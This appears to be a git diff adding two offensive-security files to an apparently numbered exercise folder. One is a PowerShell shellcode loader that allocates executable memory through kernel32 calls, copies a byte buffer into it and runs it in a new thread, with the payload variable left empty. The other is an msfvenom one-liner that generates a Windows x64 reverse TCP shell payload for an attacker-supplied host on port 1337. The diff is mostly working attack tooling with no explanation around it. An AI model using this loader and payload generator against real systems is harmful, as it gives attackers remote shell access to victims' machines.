diff --git a/8/shell.ps1 b/8/shell.ps1 new file mode 100644 index 0000000..ca25054 --- /dev/null +++ b/8/shell.ps1 @@ -0,0 +1,19 @@ +$Shell = "" +Add-Type @" +public class Win +{ + [DllImport("kernel32")] + public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); + + [DllImport("kernel32", CharSet=CharSet.Ansi)] + public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); +} +"@ +[Byte[]] $buf = $Shell +[IntPtr]$addr = [Win]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40) +[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length) +$thandle = [Win]::CreateThread(0, 0, $addr, 0, 0, 0) +[Win]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF") diff --git a/8/venom.sh b/8/venom.sh new file mode 100755 index 0000000..655354e --- /dev/null +++ b/8/venom.sh @@ -0,0 +1 @@ +msfvenom -p windows/x64/shell_reverse_tcp LHOST="$1" LPORT=1337 -f powershell